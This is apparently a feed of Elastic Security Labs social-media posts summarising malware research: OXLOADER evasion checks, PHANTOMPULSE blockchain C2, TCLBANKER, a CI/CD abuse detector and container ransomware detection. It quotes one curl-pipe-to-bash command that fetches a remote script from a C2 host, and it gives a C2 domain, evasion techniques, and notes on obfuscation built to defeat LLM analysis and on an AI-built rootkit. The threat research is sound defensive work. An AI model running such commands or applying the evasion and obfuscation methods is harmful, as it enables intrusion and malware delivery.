Elastic Security Labs

Elastic Security Labs is democratizing security by sharing knowledge and capabilities necessary to prepare for threats. Spiritually serving humanity since 2019.

[Elastic Security Labs @elasticseclabs]

OXLOADER is staging shellcode in the PE .reloc section. Detection rates are low.

New research from Elastic Security Labs.

Legitimate toolchains don't emit code into .reloc. It's a static-analysis red flag, but most engines aren't catching it in practice.

Before dropping the payload, OXLOADER runs 5 checks:
- Emulation: malformed WNetAddConnection2W call, expects ERROR_BAD_NAME (0x43)
- CPU count: 3+ CPUs required
- RAM: 3 GB minimum via GlobalMemoryStatusEx
- Display refresh rate: 20 Hz floor via WMI Win32_VideoController
- Geography: CIS GEOIDs and Russian LANGID excluded

Pass all five, and a copied system DLL gets a new .xtext section injected with the shellcode. DonutLoader wraps the final payload: CASTLESTEALER.

Distributed via Google Ads impersonating Node.js. The ad campaign targeted US-based victims. The advertiser account has since been removed.

Elastic Defend catches the full chain behaviourally. Static engines largely miss it.

Full technical breakdown, YARA rules, and IOCs visit https://t.co/NoA6sCz3Q0 from @DanielStepanic and @k33b0i:

[Elastic Security Labs @elasticseclabs]

Live now! https://t.co/QBNZDdhj9P

[Elastic Security Labs @elasticseclabs]

Attackers are using AI to cut attack timelines to minutes.

@andythevariable , @jamesspi and @danielmiessler get into what that means for your SOC, live on June 17.

[Andrew Pease @andythevariable]

On June 17, I'm going live with @jamesspi and @danielmiessler to cover the Obsidian and Axios supply chain attacks, and how AI agents can speed response.

Humans don't leave the loop; they're moved to the top of it.

10am PT / 1pm ET @elasticseclabs

https://t.co/uTVaO44Lno

[Elastic Security Labs @elasticseclabs]

Your SOC tools don't talk to your dev tools. Your detection engineers write rules in one place and investigate in another.

Live on June 17, we're demoing autonomous investigation workflows and security operations running inside Claude, Cursor, and Copilot.

One week to go. Register now: https://t.co/f3bk2NABBt

[Elastic Security Labs @elasticseclabs]

PHANTOMPULSE routes C2 through Ethereum/Base/Optimism transaction inputs.

The blockchain resolver has zero sender verification.

That means one transaction from a defender overrides the C2 URL for every active implant simultaneously.

@soolidsnakee reverse-engineered the full implant: three injection techniques, a shared HWBP primitive that kills AMSI/WLDP/ETW in a single handler, and a 580c XOR signature you can use to hunt sibling wallets right now.

https://t.co/M0M3mzCzB0

[Elastic Security Labs @elasticseclabs]

Attackers are compressing timelines from hours to minutes. Most SOCs are still stitching context together across three tabs and a ticket.

On June 17, we're showing the full lifecycle, from first alert to staged response, with AI agents handling triage, enrichment, and investigation live. Prizes too.

Save your seat: https://t.co/1Iihl0rXa8

[Elastic Security Labs @elasticseclabs]

We uncovered a new Brazilian banking trojan campaign: TCLBANKER.

What makes TCLBANKER notable isn’t just the malware itself, but how it spreads.

The campaign uses compromised WhatsApp and Outlook accounts to propagate through trusted user relationships, deploys targeted banking overlays, and incorporates anti-analysis techniques designed to evade detection.

For defenders, it’s another example of malware increasingly blending into legitimate user behavior and everyday communication channels, making detection harder and trust easier to exploit.

Our latest research breaks down the infection chain, propagation methods, evasion tactics, and detection opportunities observed across the campaign.

Read the full analysis: https://t.co/9z47oaEWdD

[Elastic Security Labs @elasticseclabs]

It's a drop-in CI template (no Python, no custom runtimes) that runs 50+ regex signals across changed CI/CD files, then passes the full diff and signal summary to Claude Code for structured threat analysis.

Works across GitHub Actions, GitLab CI, and Azure DevOps. Verdicts ship to Elasticsearch so you can correlate across platforms with ES|QL.

19 malicious example diffs included, modeled after real incidents. Nord Stream payloads. ArtiPACKED. Contagious Interview IDE poisoning. The test suite validates every signal.

Full research + repo:
Blog: https://t.co/PtPduYdzbM
Tool: https://t.co/C9iaLjpfWe

[Elastic Security Labs @elasticseclabs]

Your YAML files hold more credentials than most production servers.

The GhostAction campaign last September hit 817 repos and stole 3,325 secrets this way.

HackerBot-Claw followed in February, systematically scanning for pull_request_target misconfigs across public repos.

Aqua's Trivy repo was fully compromised. 33,000 secrets. Nearly 7,000 machines.

We built cicd-abuse-detector to catch this at the PR stage.

[Elastic Security Labs @elasticseclabs]

Full research, benchmark methodology, scoring breakdown, and the obfuscation techniques that worked: https://t.co/CL0YWFN5SH

[Elastic Security Labs @elasticseclabs]

LLMs have gotten good enough at reverse engineering to recover source code from obfuscated binaries with real accuracy.

So we asked the obvious next question: how fast and cheap is it to use one to build obfuscation specifically designed to beat it?

We benchmarked Claude Opus 4.6 against the Tigress obfuscator across 20 targets first, to map its strengths and failure modes. 40% solve rate. Phase 3 multi-layer combos hit 0%, with cost explosions that killed the runs.

Then we ran a dev/test/refine loop to build 3 purpose-built obfuscation variants targeting the same crackme, iterating directly against the model's known weaknesses.

The finding: LLM-targeted obfuscation is fast and cheap to develop. Context windows, budget caps, and shortcut biases are all exploitable attack surfaces.

The arms race just shifted.

[Elastic Security Labs @elasticseclabs]

Attackers in containers don't leave persistent artifacts. No files on disk. No post-incident logs. Just short-lived runtime behavior.

Traditional detection approaches weren't built for this. Defend for Containers is.

@RFGroenewoud published a deep-dive on how D4C captures runtime signals inside containerized Linux workloads, and how to build detection logic on top of it.

The key things D4C gives you that you don't get elsewhere:
- process.interactive flags hands-on-keyboard activity in production containers — rare and high-signal
- Linux capability fields (effective + permitted) let you assess actual exploit potential, not just process names
- Every event enriched with pod name, namespace, cluster, and privilege context
- Policy wildcards let you scope detections to specific images, namespaces, or directory trees

https://t.co/7nKk7mllv7

[Seth @bluish_red_]

LET'S GO!

That first query caught another TX today. New domain! Presumably #PHANTOMPULSE.

`https://gfsdjjg33jfk[.]com`

https://t.co/vzkTFwcyNY

[Elastic Security Labs @elasticseclabs]

Key takeaways:
- Threat actors posed as a VC firm on LinkedIn and Telegram, luring targets into opening a weaponized Obsidian vault
- The attack abuses Obsidian's Shell Commands plugin to execute a malicious payload on vault open, no vulnerability required
- PHANTOMPULSE is a previously undocumented Windows RAT with blockchain based C2 resolution via Ethereum transaction data
- The macOS payload uses an obfuscated AppleScript dropper with a Telegram channel as a fallback C2
- Elastic Defend detected and blocked the attack before PHANTOMPULSE could execute

[Elastic Security Labs @elasticseclabs]

We have identified a novel social engineering campaign abusing Obsidian, the popular note taking app, to deliver a previously undocumented RAT #PHANTOMPULSE and it’s loader #PHANTOMPULL targeting individuals in finance and crypto.

The attack never exploits a vulnerability. It abuses Obsidian's own plugin ecosystem to execute code the moment a victim opens a shared vault.

Full analysis: https://t.co/y7sGjClCKc

[Elastic Security Labs @elasticseclabs]

What D4C catches across the kill chain:
- curl spawns a shell interpreter → caught at Stage 1
- Service account token check (/var/run/secrets/...) → flags Kubernetes pivot intent
- kube. py downloaded to /tmp, executed immediately → cluster-wide lateral movement begins
- Competitor mining processes killed via pkill → even that gets flagged

Real-world scenario. Real detection logic. Full MITRE ATT&CK coverage from exec to impact.
Read the full blog: https://t.co/jvzxchYFhG

[Elastic Security Labs @elasticseclabs]

One command. No file written to disk. Full code execution inside a container.

curl -fsSL [C2]:666/files/proxy. sh | bash

This is how TeamPCP's container ransomware operation starts.

Elastic Security Labs walked the full attack chain using Defend for Containers (D4C) to show exactly what runtime signals surface at every stage.

[Elastic Security Labs @elasticseclabs]

Detection rules, YARA signatures, and behavioral cross-referencing scripts are all in the full research.
https://t.co/yxzye14bJb

[Elastic Security Labs @elasticseclabs]

🧵 It calls itself "AMD Memory Encryption Support." It's not.

VoidLink's Linux rootkit disguises as a legitimate AMD kernel driver then hides processes, connections, and itself from the OS entirely.

Elastic Security Labs analyzed leaked source code revealing 4 generations of this rootkit, from CentOS 7 to Ubuntu 22.04.

[Elastic Security Labs @elasticseclabs]

One more thing. Check Point Research established VoidLink was built almost entirely through AI-assisted workflows, concept to functional implant in under a week.

The source code confirms it at the code level. Phase-numbered changelogs structured like LLM prompts. Tutorial-style comments explaining basic kernel concepts. 10 sequential eBPF iterations with reasoning traces left in.

This is what AI-lowered barriers to kernel development looks like in the wild.